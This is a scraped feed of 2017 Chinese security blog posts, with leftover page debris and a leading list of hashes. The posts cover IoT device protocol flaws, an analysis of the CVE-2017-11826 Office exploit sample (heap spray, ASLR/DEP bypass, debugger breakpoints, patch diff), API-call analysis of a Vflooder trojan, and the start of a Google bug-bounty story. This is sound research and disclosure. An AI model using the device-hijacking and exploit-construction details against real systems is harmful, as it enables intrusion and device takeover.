57a12f20c6bbd69b93e76d6d5a31d720046b498aa880b95b85a4f3fda28aac4f

72b039550d31afaeee11dedf7d80333aeda5c504272d426ae0d91bc0cd82c5b0

72d2ad8f38e60c23c96698149507fc627664a5706a4431b96014fbf25495b529

788f7fd06030f87d411c61efbc52a3efca03359570353da209b2ce4ccf5b4b70

7fcac2f18a8844e4af9f923891cfb6f637a99195a457b6cdb916926d709c6a04

84adba3c81ad1c2a8285c31d1171f6f671492d9f3ed5ee2c7af326a9a8dc5278

852ccc491204f227c3da58a00f53846296454d124b23021bdb168798c8eee2fb

86bd78b4c8c94c046d927fb29ae0b944bf2a8513a378b51b3977b77e59a52806

9347a47d63b29c96a4f39b201537d844e249ac50ded388d66f47adc4e0880c7e

b597d7b5b9c2f1962257f912e911961ad0da4c28fc6a90a0b7db4e242aa007d8

bfb88878a22c23138a67cc25872e82d77e54036b846067ddc43e988c50379915

c23f715c8588c8d8725352ed515749389d898996107132b2d25749a4efc82a90

c47bc2c15f08655d158bb8c9d5254c804c9b6faded526be6879fa94ea4a64f72

db53b35c80e8ec3f8782c4d34c83389e8e9b837a6b3cc700c1b566e4e4450ec2

dd9debe517717552d7422b08a477faa01badbcc4074830c080a1a1c763e1a544

b800d29d6e1f2f85c5bc036e927c1dae745a3c646389599b0754592d76b5564b



【技术分享】对Gaza网络犯罪组织2017年新动向的分析
【技术分享】对Gaza网络犯罪组织2017年新动向的分析
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://securelist.com/gaza-cybergang-updated-2017-activity/82765/

【技术分享】IoT设备通信安全讨论

$
0
0
【技术分享】IoT设备通信安全讨论

2017-11-02 19:50:33

阅读:513次
点赞(0)
收藏
来源: 安全客





【技术分享】IoT设备通信安全讨论

作者:360CERT





【技术分享】IoT设备通信安全讨论

0x00序言

IoT设备日益增多的今天, 以及智能家居这一话题愈发火热,智能家居市场正在飞速的壮大和发展,无数IoT设备正在从影片中不断的走向用户的身边.但是这其中却拥有着大量的安全问题和隐患

此次以结合实际案例的方式来谈一谈目前国内IoT市场中普遍存在的安全问题


0x01 历史回顾

在过去的一段时间内也曾暴露出了很多很多的iot设备的安全问题


【技术分享】IoT设备通信安全讨论

Mirai

在去年2016年9月-10月期间 Mirai 在全球范围内爆发


【技术分享】IoT设备通信安全讨论

Mirai的感染模式

感染初始设备

初始设备在网段内进行扫描,并做尝试,将有漏洞的设备IP,PORT等信息上传至Loader服务器

Loader服务器对新的设备进行控制并下发控制程序

循环往复

受控设备足够多后,控制设备对Victim发起DDoS


【技术分享】IoT设备通信安全讨论

直到2016年10月26日,我们通过Mirai特征搜索shodan发现,当前全球感染Mirai的设备已经超过100万台,其中美国感染设备有418,592台,中国大陆有145,778台,澳大利亚94,912台,日本和中国香港分别为47,198和44,386台。

IoT reaper

而最近则是 IoT reaper ,从2017-09-13开始,360NetLab捕获到了一个新型的针对IoT设备的恶意样本

样本中集成了9个IoT漏洞IoT_reaper完全放弃了mirai中利用弱口令猜测的方式,转为利用IoT设备的漏洞植入,当前样本中集成了了9个IoT设备漏洞。最近十天以来,攻击者正在积极的将漏洞利用集成进入样本中,其中一个漏洞在公开后仅2天就被集成。

IoT_reaper感染流程图


【技术分享】IoT设备通信安全讨论

IoTroop是IoT_reaper Botnet在网络攻击活动中第一阶段使用的主要payloads,该恶意软件借用了mirai的源代码,但是在几个关键行为上显著区别于mirai,包括:

1. C&C服务器已经完全被重新设计,并使用了新的后台。 另外,IoTroop的C&C服务器是用php编写的,而原来的Mirai C&C服务器是用GO编写的。

2. 随着C&C后台的变化,C&C通信协议也发生了变化,IoTroop恶意软件使用了全新的C&C通信方式。

3. IoTroop恶意软件不再使用弱口令猜测、而是使用IoT设备漏洞,扫描效率大大提高。

4. IoTroop恶意软件不包含任何DDoS功能,实际上我们也没有观察到与该恶意软件有关的任何DDoS攻击,但所有与DDoS相关的功能都由C&C后台进行协调和管理,并作为单独的模块下载。

IoT_reaper包含的一些漏洞


【技术分享】IoT设备通信安全讨论

可以看到的是,IoT设备的安全问题正在日益突出,并日益严重

虽然厂商心中已经有了一定的警戒,并采取了一定的措施但是还远远不够


0x02 现状

攻击中最复杂的部分是取得与相关设备的连接问题,只要能够连接上能够与之通信,可以说被控制被劫持都只是一些相对较小的问题了

在连接上的安全措施往往是难以做到尽善尽美的,那么我们就着重来看看目前国内市场上IoT设备在连接上存在的诸多问题

在iot设备领域存在一个是否致命的问题,就是产品更迭周期,在此领域因为涵盖着硬件设备,在升级上往往难以针对某些领域的问题进行修复

目前在国内的形式大多数是采用的多方合作,而杂合而成的一个十分混乱的iot生态

1. A厂商从B厂商处采购主控芯片和开发套件,然后自己由这个主控芯片和开发套件对一些传感器进行集成连接,进行一些简单的包装

2. A厂商和C厂商进行深度合作在A厂商的APP中集成C厂商的控制程序,从而实现A厂商具有更为广大的智能家居生态

3. A厂商完成了硬件上的设计生产,而APP方面则采取外包方式获取

4. 为了照顾设备的网络情况以及性能情况作出的妥协

在国内上述三种情况是十分普遍的,这种树状甚至是叉装的生态环境势必会产生无数的安全问题

反过来回顾世界前列的互联网公司里Apple,是唯一的一家最接近垂直生态公司,即使是这样,每年也有大量的漏洞被发现,就更何况国内的这些公司了


0x03 分析

与上面的点一一对应

由于采用采购和使用开发套件的方式,势必会有大部分的逻辑是和供应商所提供的运行模式和设计理念是一致的,从这里入手就很容易看到对应的A厂商的设备的大致工作模式。

实例 :


【技术分享】IoT设备通信安全讨论

【技术分享】IoT设备通信安全讨论

根据上面的文档可以看出这里设计出了一种工作模式,在智能硬件中会有一份主体固件user1.bin,然后在后期可以通过user2.bin的方式对设备进行一定程度的更新

为什么要说一定程度呢?首先,这里采用这种模式就肯定是为了减少更新完整固件包所带来的更新时间和下载内容大小,也从而被获得后直接逆向出完整设备工作流程的危害.

iot设备大多采用低成本的处理控制单元和极小的板载存储flash芯片,已经极小的内存容量,如果采取互联网全量更新,首先是机器本身无法存储,处理器,和内存也无法胜任此工作

iot设备为了长期稳定的工作,肯定无法去更新核心部分的工作,只会以修复一些细小的功能性问题而更新

那这里从实际的案例出发对这个现象的论证就是

在2015年的A厂商在通信过程中使用的AES加密,但在APK中由于开发没有良好的安全意识,导致被轻易的提取出了AES的密钥,而在我们进行分析的今天,该厂商的密钥也没有更换,亦可以在网上搜索得到这串长期没有更换的密钥进行通信消息的解密

而在今天厂商也仅仅只是将其放在了一个动态链接库中稍加混淆


【技术分享】IoT设备通信安全讨论

就这样一个问题,在一个厂商长发2年都没有一个良好的解决方案足以说明问题的严重性

在厂商与厂商的合作之间势必会相互开放接口或者通信密钥以及一系列相关资源,这就导致了,但凡有一家合作厂商的安全做的不够出色,这就导致了短板效应的出现而拉低了众多厂商的安全等级。

A厂商和C厂商的合作使得A厂商几乎只承担的了集成SDK的成本就获得了一项智能家居产品,而C厂商也仅仅是提供了SDK就拓宽了自己的销售渠道,这样的合作模式肯定受到双方欢迎的,但是这之间的安全问题是值得关注的

通信的密钥

身份TOKEN

完整的设备信息

完整的控制请求

根据上述的问题,再结合一定的分析往往就能很容易的得出一份令人满意的漏洞

实例 :


【技术分享】IoT设备通信安全讨论

可以很清晰的看到,拥有SDK的TOKEN,完整的控制函数


【技术分享】IoT设备通信安全讨论

【技术分享】IoT设备通信安全讨论

可以看到通信的地址,以及通讯认证的详细过程


【技术分享】IoT设备通信安全讨论

可以看到另一家合作厂商的密钥位置


【技术分享】IoT设备通信安全讨论

完成了对该厂商的通信,而且可以同样看到,该厂商也是有着接口无认证的问题

App的编写,这明显不是传统厂商所擅长的,而外包就成了主要解决方法。

然而厂商也自身没有太高的安全意识在验收成果的时候,主要着力于功能的完善情况,以及界面交互是否优秀上面 这就会导致许多隐患

通信模型设计不当

验证认证流程存在绕过,或极不完善

查询接口权限认证粗糙

涉及服务器敏感信息泄露

这诸多问题都是一个个良好的突破口和值得关注的点

实例 :


【技术分享】IoT设备通信安全讨论

从这里可以看到从apk中加载了通信使用的证书,故可以从apk中提取出来,也涉及了服务器的通信地址和端口


【技术分享】IoT设备通信安全讨论

可以看到另一处TCP直接通信的地址和端口


【技术分享】IoT设备通信安全讨论

这里可以看到,单凭一个手机号就获取了大量设备关键信息,包括密码等


【技术分享】IoT设备通信安全讨论

这里可以看到,以任意设备mac来获取对应的用户手机号的操作


【技术分享】IoT设备通信安全讨论

再根据已掌握的信息,进行设备控制指令的生成也是十分简单

在结合国内的平均网络质量在全球排名处于中下游水平的情况下,并且要照顾多地区的复杂网络环境

在与智能硬件的通信过程中势必会有很多的妥协,因为产品的第一点是务必满足有良好的用户体验

进而就会产生

与服务器通信认证手段单一

身份识别过程简单

消息内容格式化程度高

分两套通信手段,一套局域网,一套互联网

服务器通信内容不认证用户身份

实例 :

A厂商在为了解决远程控制这一问题上

互联网层面远程控制由XMPP协议进行通信

但国内的厂商在使用上仅仅着手于XMPP协议的及时性和开放性,对于一些必要的安全措施并没有进行良好的设计

A厂商的XMPP的设计模式下,受控端设备,以及控制端设备全凭MAC地址或是UUID作为登录凭据,并且在密码设计上采用与用户名一样的方式.这就导致可以使用遍历MAC地址的方式将该厂商所有设备踢下线,使其无法正常通信或是响应命令.或是在APP端注册一个账号,然后获得UUID便可以向任意在网设备发送控制指令,这对于智能产品来说危害是巨大的,也会导致用户无法获得正常的体验

A厂商该特意设计了一个控制服务器,来接受和记录设备的绑定以及设备状态查询的服务,该服务器没有任何权限设置,亦无token之类的校验,可以抓包后任意重放,来获得任意设备mac所绑定的用户手机号,同时,还有一个逻辑错误,以及一个重大的安全错误

在服务器上存储用户设备控制密码

对设备控制权限变更无校验,任何人可以在任何情况下对设备进行重新绑定,解绑,添加信任用户等危险操作

并在特殊的构造下,可以直接获取到任意设备的控制密码

在通信过程中消息内容采用固定格式

wan_phone%015bee58-xxxx-xxxx-xxxx-31598127xxxx%password%open%relay

可以看到中间的uuid作为标识password是控制密码open是控制指令 那么其实很好类推关闭之类的指令

在APP的登录过程中,用户名为手机号

局域网内采用UDP无连接通信,通过向设备发送连续的UDP包来获得设备信息,同时为了更快的感同一局域网内的设备状态,采用广播心跳包的形式对所有在网内设备进行查询,同时所有设备收到此包后会回复自己的状态,以及控制密码的值,来确保用户能完成良好的控制

其次在标识上仅使用mac地址作为标识,这就导致,如果在相同包体里改变mac地址即可完成对设备的控制


【技术分享】IoT设备通信安全讨论

可以通过分析流量翻译出大量的操作指令


【技术分享】IoT设备通信安全讨论

可看到流量中连续的广播包在发送


【技术分享】IoT设备通信安全讨论

广播后,设备响应,解密后就能直接得到设备的控制密码


【技术分享】IoT设备通信安全讨论

用脚本直接解密XMPP流量

而局域网和互联网通信内容又大相径庭,即使设计了一个良好的互联网通信模型,也会被找到破绽


0x04 总结

根据此次分析,IoT生态混乱,通过实例分析验证了很多安全问题,以及潜在隐患,对现有用户会产生用户敏感信息泄露和IoT设备为攻击者大开方便之门的安全问题.最终甚至危害到广大用户的人生以及财务安全

已有的改进

尽量避免了将设备直接暴露在公网中

已有一些通信上的加密措施,不再是任何人都可以向设备发送消息

避免IoT设备的固件开发下载

尚存或演进的问题

以CS模式通信,但是通信结构和验证过程过于简单或没有,导致一旦攻破便可危害所有在网设备

APP的安全开发意识十分薄弱

厂商合作之间的信任链单一,信任关系简单

多模式设计下,短板效应明显,在某一模式安全性的缺失则导致整套安全系统崩溃

对用户信息,设备的存储和查询,存在致命的缺陷,对用户信息无任何保护手段,很容易获得设备用户的对应关系

这些存在漏洞的点都很普遍并容易被探测和发现,而造成的危害和损失却是巨大的

而抛开技术上的问题,在实际的物理世界中,核心的问题在于厂商不够重视安全,没有一个很好的统一解决方案,对应漏洞反应平平,甚至予以忽视,导致IoT安全漏洞和事件频发,各种黑天鹅事件告急

过去的事件都以在公网上的设备受到攻击而需求感染设备去扫描发现新的设备,而现在只要一攻破上述任一一条,则可以在存在RCE等高危漏洞情况下迅速感染所有在网设备,攻击的成本大为降低.对于IoT安全社会各界应该予以更为重复的重视


0x05 参考

1. http://bobao.360.cn/learning/detail/3143.html

2. https://paper.seebug.org/142/

3. http://www.CodeSec.Net/articles/terminal/117927.html

4. http://blog.netlab.360.com/iot-reaper-a-quick-summary-of-a-rapid-spreading-new-iot-botnet/

5. http://bobao.360.cn/learning/detail/4635.html



【技术分享】IoT设备通信安全讨论
【技术分享】IoT设备通信安全讨论
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4648.html

【漏洞分析】CVE–2017–11826 样本分析报告(包含补丁分析)

$
0
0
【漏洞分析】CVE–2017–11826 样本分析报告(包含补丁分析)

2017-11-02 20:20:35

阅读:985次
点赞(0)
收藏
来源: 安全客





【漏洞分析】CVE–2017–11826 样本分析报告(包含补丁分析)

作者:360CERT





【漏洞分析】CVE–2017–11826 样本分析报告(包含补丁分析)

0x00 事件描述

2017年9月28日,360核心安全事业部高级威胁应对团队捕获了一个利用Office 0day漏洞(CVE-2017-11826)的在野攻击。该漏洞几乎影响微软目前所支持的所有office版本,在野攻击只针对特定的office版本。攻击者以在rtf文档中嵌入了恶意docx内容的形式进行攻击。微软在2017年10月17日发布了针对该漏洞的补丁。

本文我们将对该样本进行漏洞分析,主要是通过调试来探究漏洞形成的原因。


0x01 事件影响面

操作系统:windows 7 sp1 32位

Microsoft Word版本:Word 2010 sp2 32位

wwlib.dll 版本:


【漏洞分析】CVE–2017–11826 样本分析报告(包含补丁分析)

调试工具:Windbgx86_v6.12.2.633.1395371577、Process Explorer、oletools工具包


0x02 样本分析

样本文件SHA-256值为:

cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5

下载样本后,用winhex打开可以发现是一个rtf文件,并嵌入了ole对象,我们可以用oletools工具包中的rtfobj.py进行查看:


【漏洞分析】CVE–2017–11826 样本分析报告(包含补丁分析)

可以看到该RTF样本中包含了3个嵌入对象。

2.1 第一个ole对象

用winhex打开RTF样本并搜索“object”字符串可以找到第一个对象:


【漏洞分析】CVE–2017–11826 样本分析报告(包含补丁分析)

Oleclsid后面跟的一串字符为该COM对象的CLASSID,在注册表对应的是C:\Windows\system32\msvbvm60.dll,通过ProcessExplorer也可以看到word加载了msvbvm60.dll,用于绕过ASLR。


【漏洞分析】CVE–2017–11826 样本分析报告(包含补丁分析)

因为该dll没有随机化,加载后也不会被随机化。从Office 2013起,微软已经强制使用ASLR,即使DLL没有随机化,但是一旦加载,模块地址也会被随机化了,所以这次的野外攻击只对Office 2010和之前的版本起作用。(尽管这次攻击对新版本没有影响,我们还是建议用户尽快安装官方提供的补丁。)

2.2 第二个ole对象

继续将剩下的两个对象提取出来,解压第二个嵌入的ole对象,是一个word对象,通过查看解压目录下的[Content_Types].xml,可以看到该样本插入了40个ActiveX对象:
【漏洞分析】CVE–2017–11826 样本分析报告(包含补丁分析)

同时我们也可以在/word/activeX目录里找到40个activeX*.xml文件和一个 activeX1.bin,这些文件是用来堆喷的。其中ActiveX1.bin为堆喷的内容。


【漏洞分析】CVE–2017–11826 样本分析报告(包含补丁分析)
通过堆喷来控制内存布局,使[ecx+4]所指的地址上填充上shellcode,最后通过shellcode调用VirtualProtect 函数来改变内存页的属性,使之拥有执行权限以绕过DEP保护。

具体做法:将EIP设置为0x088883EC,最后一个“popeax; retn”将0x729410d0填入eax中,这是VirtualProtect函数的地址,调用 VirtualProtect(0x8888C90,0x201, 0x40, 0x72A4C045)。

我们通过IDA静态反汇编msvbvm60.dll,可以找到导出的VirtualProtect函数:


【漏洞分析】CVE–2017–11826 样本分析报告(包含补丁分析)

2.3 第三个ole对象

提取第三个ole对象,也是一个word对象,在word目录中的document.xml中可以找到崩溃字符串"LincerCharChar":


【漏洞分析】CVE–2017–11826 样本分析报告(包含补丁分析)

用winhex打开该文件,字符串中间乱码的为”E8 A3 AC E0 A2 80”:


【漏洞分析】CVE–2017–11826 样本分析报告(包含补丁分析)

但是我们在dump出来的内存中找到却是“EC 88 88 08”


【漏洞分析】CVE–2017–11826 样本分析报告(包含补丁分析)

这是由于编码转换的问题,“E8 A3 AC E0 A2 88”为ASCII形式,而“EC 88 88 08”是Unicode形式。验证如下:


【漏洞分析】CVE–2017–11826 样本分析报告(包含补丁分析)

根据参考文章中的分析,我们可以知道该样本攻击的大体流程:

样本在RTF 中嵌入了 3 个OLE 对象, 第一个用来加载msvbvn60.dll 来绕过系统ASLR,第二个用来堆喷,做内存布局,第三个用来触发漏洞。


0x03 漏洞分析

3.1 漏洞文件分析

我们新建一个doc文件,修改后缀名为.zip,用压缩工具打开,修改word目录下的document.xml,修改如下:


【漏洞分析】CVE–2017–11826 样本分析报告(包含补丁分析)

其实就是将样本文件中提取出来覆盖即可。然后重新修改后缀名为.doc。这样我们直接用word打开就可以触发漏洞,方便调试:


【漏洞分析】CVE–2017–11826 样本分析报告(包含补丁分析)

通过栈回溯可以发现漏洞发生在wwlib.dll(文件位置:C:\Program Files\Microsoft Office\Office14\WWLIB.DLL)中:


【漏洞分析】CVE–2017–11826 样本分析报告(包含补丁分析)

并且是发生在wwlib!DllGetLCID+0x2cfcdc,所以我们用IDA来分析一下wwlib.dll,并跳转到相对应的位置:(通过实际调试发现,wwlib.dll过一段时间地址是会改变的,所以以下相对偏移地址读者要根据实际的情况调整)


【漏洞分析】CVE–2017–11826 样本分析报告(包含补丁分析)
崩溃点是发生在call dword ptr[ecx+4],如果有之前有堆喷操作进行内存布局,在0x88888ec上放置shellcode,那就可以跳转去执行,进行样本下一步的攻击。

在call wwlib!DllGetClassObject+0x430c (69469960)(即callsub_316d9960)下的第二个mov中取出的值为0x88888ec,此时查看eax的内存如下:


【漏洞分析】CVE–2017–11826 样本分析报告(包含补丁分析)

说明0x88888ec是样本里写死的。

我们将崩溃点所在的函数重命名为漏洞函数重名为vul_319B0280,其上级函数重命名为upfunc_3170F32A,函数调用关系如下:


【漏洞分析】CVE–2017–11826 样本分析报告(包含补丁分析)

接下来我们就从漏洞函数开始分析:(两个vul函数地址不同是因为wwlib.dll的地址变了,调的是同一个wwlib.dll)


【漏洞分析】CVE–2017–11826 样本分析报告(包含补丁分析)

【漏洞分析】CVE–2017–11826 样本分析报告(包含补丁分析)

可以看到esi为漏洞函数的第一个参数,eax为漏洞函数的第二个参数。

通过调试跟踪,我们可以看到漏洞函数的第二个参数+18h的位置是一个指向Unicode字符串的指针,[eax+1Ch]的位置是一个指向字符串个数的指针,打印出来如下图:
【漏洞分析】CVE–2017–11826 样本分析报告(包含补丁分析)

“shapedefaults”即xml中的一个标签名,我们可以使用条件断点将经过漏洞函数处理的标签打印出来,条件断点:bp wwlib+2dc0c0 "dd poi(esp + 4) + 894 L1; du poi(poi(esp + 8)+ 18) Lpoi(poi(esp + 8) + 1c); g;"。打印结果如下:


【漏洞分析】CVE–2017–11826 样本分析报告(包含补丁分析)

可以看到列出的标签里有OLEObject、idmap但没有font,说明font标签并没有在漏洞函数里处理。所以我们在上级函数下断点,看是否能够断到font标签?

断点:bp wwlib+3f40e “dupoi((edi)+18) lpoi(edi+1c);g;”

发现可以断到:


【漏洞分析】CVE–2017–11826 样本分析报告(包含补丁分析)

在崩溃前处理的标签分别是OLEObject、font、idmap,和样本的攻击代码一致。所以我们先在漏洞函数处理idmap时断下,看看处理过程中发生了什么?

触发漏洞时:


【漏洞分析】CVE–2017–11826 样本分析报告(包含补丁分析)

eax 的值为6,edx的值为4,其中ecx保存的是第一个参数+17F0,即esi存储的值。


【漏洞分析】CVE–2017–11826 样本分析报告(包含补丁分析)

【漏洞分析】CVE–2017–11826 样本分析报告(包含补丁分析)

该值表示当前处理标签的层数,6对应着就是攻击代码中的o:idmap标签。之后对ecx的值进行计算,获取font标签里的地址:


【漏洞分析】CVE–2017–11826 样本分析报告(包含补丁分析)

接下来我们要看看标签嵌套层数这个值是怎么变化的?

重新启动调试器,我们可以先在漏洞函数开始处下断点:bp wwlib+2E0280,然后在漏洞函数的上级函数开始处下条件断点:bp wwlib+3f32a "dd poi(esp + 4) + 894 L1; du poi(poi(esp + 8) +18) Lpoi(poi(esp + 8) + 1c); g;"。当处理到font标签时,对存储标签嵌套层数的位置继续下访问断点:ba w4 poi(poi(esi+17f0)):

第一次触发访问断点时:


【漏洞分析】CVE–2017–11826 样本分析报告(包含补丁分析)

此时eax为5,并且上层函数显示正在处理font标签。继续执行,访问断点再次被触发。

第二次触发访问断点时:


【漏洞分析】CVE–2017–11826 样本分析报告(包含补丁分析)

此时已经显示正在处理idmap标签了,而此时的嵌套层数为6。

3.2 正常文件分析

新建一个正常doc文件,将document.xml中的font标签闭合。像上面那样继续下断点调试。font的嵌套层数变成5后,遇到font闭合标签还会再减去1变成4:


【漏洞分析】CVE–2017–11826 样本分析报告(包含补丁分析)

继续运行,处理下一个标签idmap:


【漏洞分析】CVE–2017–11826 样本分析报告(包含补丁分析)

可以看到font标签闭合后,idmap的嵌套层数为5。得到正常的内存布局,漏洞没有被触发:


【漏洞分析】CVE–2017–11826 样本分析报告(包含补丁分析)

3.3 分析总结

上面得到标签嵌套层数后,接下来就会根据嵌套层数来计算地址:

计算地址函数为:


【漏洞分析】CVE–2017–11826 样本分析报告(包含补丁分析)

这里eax为标签的嵌套层数,edx为eax-2的值,ecx为漏洞函数参数1 +17F0h存储的值。所以地址的计算和参数1以及嵌套层数相关。正常文件处理idmap时,嵌套层数为5,edx为3,处理的是OLEObject标签的内存空间。漏洞文件处理idmap标签时,嵌套层数为5,edx为4,此时处理的是font标签的内存空间。这也可以通过分析补丁得到验证。

总结:通过上面的调试可以发现漏洞原因在于font标签没有闭合,在处理idmap标签时,操作的还是font标签的内存布局。


0x04 补丁分析

在虚拟机我们首先保存原先版本的快照,方便以后复原,然后提出wwlib.dll。再找到相应的补丁打上,提出wwlib.dll,针对调试环境打的补丁版本为KB3213630。在IDA中搜索关键指令,找到漏洞函数,打过补丁的wwlib.dll如下:


【漏洞分析】CVE–2017–11826 样本分析报告(包含补丁分析)

没有打过补丁的wwlib.dll如下:


【漏洞分析】CVE–2017–11826 样本分析报告(包含补丁分析)

打过补丁之后,可以看到多了一个判断分支。调试补丁到这发现:


【漏洞分析】CVE–2017–11826 样本分析报告(包含补丁分析)

两个值相等,跳转到右边分支,漏洞就无法被触发了。

根据动态跟踪调试发现[eax+48h]保存着一个地址指针,这里猜测[eax+48h]为当前对象处理函数的指针,调试中发现offsetsub_31e94a4a返回的是一个处理函数地址,而上级函数处理font标签时调用了该处理函数,所以可以猜想此处补丁是将当前对象处理函数的指针和font对象处理函数指针进行比较,相同就表明处理idmap标签时实际上处理的是font标签,跳转到右边分支,就不会执行到漏洞触发点了

0x05 处理建议

1、建议用户通过以下的补丁地址,尽快更新微软补丁

2、下载360安全卫士,尽快更新针对该漏洞的补丁

补丁下载地址:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11826


0x06 时间线

2017-09-28 360安全团队捕获漏洞的在野攻击

2017-10-10 微软官方公布针对该漏洞的补丁

2017-11-02 360CERT完成了基本分析报告


0x07 参考

1、https://bbs.pediy.com/thread-221995.htm

2、https://paper.seebug.org/351/

3、https://www.greyhathacker.net/?p=894



【漏洞分析】CVE–2017–11826 样本分析报告(包含补丁分析)
【漏洞分析】CVE–2017–11826 样本分析报告(包含补丁分析)
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4649.html

【技术分享】基于API调用的恶意软件分析技术

$
0
0
【技术分享】基于API调用的恶意软件分析技术

2017-11-03 09:56:28

阅读:925次
点赞(0)
收藏
来源: blog.malwarebytes.com





【技术分享】基于API调用的恶意软件分析技术

作者:shan66





【技术分享】基于API调用的恶意软件分析技术

译者:shan66

预估稿费:170RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


基于API的分析技术

根据上一个季度的统计数据发现,使用加壳器、加密器和保护器(这些都是用于对恶意软件进行混淆处理,以防止被系统或安全软件识别出来的方法)的恶意软件的数量正在日益增加。这些加壳器极大的提高了进行静态分析的难度,甚至有些时候根本就无法对其进行静态分析。随着越来多的恶意软越件作者开始采用这些保护性措施,安全分析人员对于恶意软件分析替代技术的兴趣也越来越浓。

其中一种可行的替代方法就是,对代码中通知系统执行某些操作的API调用或命令进行安全检测。这种方法的好处是,不必对经过加壳处理的软件进行逆向分析,相反,我们可以通过对API调用进行动态分析,从而弄清楚某个文件的具体行为。通过分析相应的API调用,我们可以确定文件是否是恶意的,因为对于某些类型的恶意软件来说,它们的API调用是非常有特点的。例如,典型的下载API是URLDownloadToFile。而GetWindowDC这个API通常用于屏幕抓取,它经常出现在间谍软件和键盘记录器中。

下面,我们通过一个具体的例子来说明其工作原理。


木马样本

我们的示例是一个著名木马程序,名称为1.exe,其SHA256为0213b36ee85a301b88c26e180f821104d5371410ab4390803eaa39fac1553c4c。


【技术分享】基于API调用的恶意软件分析技术

由于该文件(使用VMProtect)进行了加壳处理,所以面对这种情况,反汇编器通常也是狗咬刺猬——无处下口。由于本人并非逆向分析的专家,所以我另辟蹊径,通过查看该文件在沙箱执行期间使用的API调用来搞清楚该文件的所作所为。

这是我们通过沙箱(Deepviz)获得的调用列表:


【技术分享】基于API调用的恶意软件分析技术

首先,我们来看看这些函数分别是做什么的。以下内容都是引自Microsoft的相关文档:

GetModuleHandle函数

检索指定模块的模块句柄。被检索的模块必须是由调用进程加载的。GetModuleHandleA(ANSI)

GetProcAddress函数

检索从指定的动态链接库(DLL)导出的函数或变量的地址。

_wtoi

将字符串转换为整数。

CreateStreamOnHGlobal函数

该函数可以用来创建一个使用HGLOBAL内存句柄存储流内容的流对象。该对象是IStream接口的OLE实现。

StrStr函数

查找指定子字符串第一次出现在字符串中的位置。该函数区分大小写。StrStrA(ANSI)

wsprintf函数

将格式化数据写入指定的缓冲区。所有的参数,都会根据格式字符串中的相应的格式规范进行转换,并复制到输出缓冲区。wsprintfA(ANSI)

WinHttpOpen函数

对于应用程序来说,这个函数可以初始化WinHTTP函数并返回WinHTTP会话句柄。

GetModuleFileName函数

检索包含指定模块的文件的标准路径。该模块必须是由当前进程加载的。GetModuleFileNameW(Unicode)

LoadLibrary函数

将指定的模块加载到调用进程的地址空间中。这个指定的模块可能会导致其他模块被加载。LoadLibraryA(ANSI)

LocalAlloc函数

从堆中分配指定的字节数。

LocalFree函数

释放指定的本地内存对象并使其句柄无效。

GetModuleFileName函数

检索包含指定模块的文件的标准路径。该模块必须是由当前进程加载的。GetModuleFileNameA(ANSI)

ExitProcess函数

结束调用进程及其所有线程。


关键恶意指标

并不是上面显示的所有函数都能表明可执行文件的性质。但是API WinHttpOpen却能告诉我们,我们可以向特定的方面考虑。

对于这个函数,我们使用Kahu Security的URL Revealer来检查流量的目的地,并发现两个经常出现的URL。

GEThttp://twitter.com/pidoras6 POSThttp://www.virustotal.com/vtapi/v2/file/scan 这个POST是当您要提交扫描文件时,VirusTotal API接受的内容。

这个指向被废弃的Twitter句柄的链接让人非常迷惑,我决定在Twitter中使用高级搜索,确定这是个早已被删除的Tweet的链接。


【技术分享】基于API调用的恶意软件分析技术

这个Tweet的内容是一个base64编码的链接:https://w0rm.in/join/join.php。不幸的是,该网站已经无法解析,但它曾经是一个地下黑市,同时提供网站exploit与黑客服务,上面提到的Twitter个人资料在当时还未被删。

看来上面这条路是走不通了。因此,我们尝试了另一种方法,弄清楚它想要在VirusTotal上扫描的东西,并使用Wireshark来检测数据包。


【技术分享】基于API调用的恶意软件分析技术

在数据包中,您可以看到用于在VirusTotal站点扫描文件的API key和文件名。根据这个API调用和数据包进行重建后,我们发现恶意软件将其自身的副本提交给VirusTotal,这是Vflooder系列木马的典型行为。Vflooder是一种特殊的Flooder木马程序。Flooder木马旨在向特定目标发送大量信息,以破坏目标的正常运行。但是,我怀疑它甚至用于对VirusTotal发动攻击。或者与Twitter上的那个链接有关。

Vflooder木马只是分析API调用的一个简单的小例子。但是事情并非总是这么轻松:我们甚至看到某些恶意软件已经开始故意增加冗余/无用的API调用了,目的就是为了对执行流程进行混淆处理。不过,分析API调用确实是一种检测恶意软件隐藏自身行为的有效方法。但是别忘了,攻击者对这些也是心知肚明的。



【技术分享】基于API调用的恶意软件分析技术
【技术分享】基于API调用的恶意软件分析技术
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://blog.malwarebytes.com/threat-analysis/2017/10/analyzing-malware-by-api-calls/

【技术分享】看我如何挖到谷歌Buganizer系统3个漏洞并获得15600美元赏金

$
0
0
【技术分享】看我如何挖到谷歌Buganizer系统3个漏洞并获得15600美元赏金

2017-11-03 10:57:57

阅读:1431次
点赞(0)
收藏
来源: freecodercamp.org





【技术分享】看我如何挖到谷歌Buganizer系统3个漏洞并获得15600美元赏金

作者:blueSky





【技术分享】看我如何挖到谷歌Buganizer系统3个漏洞并获得15600美元赏金

译者:blueSky

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

你听说过Buganizer吗?可能没有,除非你是谷歌的员工或最近在谷歌工具中上报过程序缺陷的开发人员。我之前也没听说过,直到我发现我的漏洞报告除了正常的邮件通知外,还同时会被一个新打开的线程处理。自然而然的,我立即开始试着去“渗透”它。


【技术分享】看我如何挖到谷歌Buganizer系统3个漏洞并获得15600美元赏金

Buganizer

那么这个网站究竟是什么?根据文档,问题跟踪器(内部称为Buganizer系统)是Google内部使用的一种在产品开发过程中跟踪错误和特性请求的工具。它可供谷歌以外的外部用户和需要在特定项目上与谷歌团队进行协作的合作伙伴使用。

换句话说,当有人使用谷歌产品遇到问题时,它会出现在问题跟踪器中。这非常有意义不是吗?作为外部用户,我们只能看到冰山一角,比如漏洞报告。但是在这些表层信息之下还潜藏了多少问题呢?


【技术分享】看我如何挖到谷歌Buganizer系统3个漏洞并获得15600美元赏金

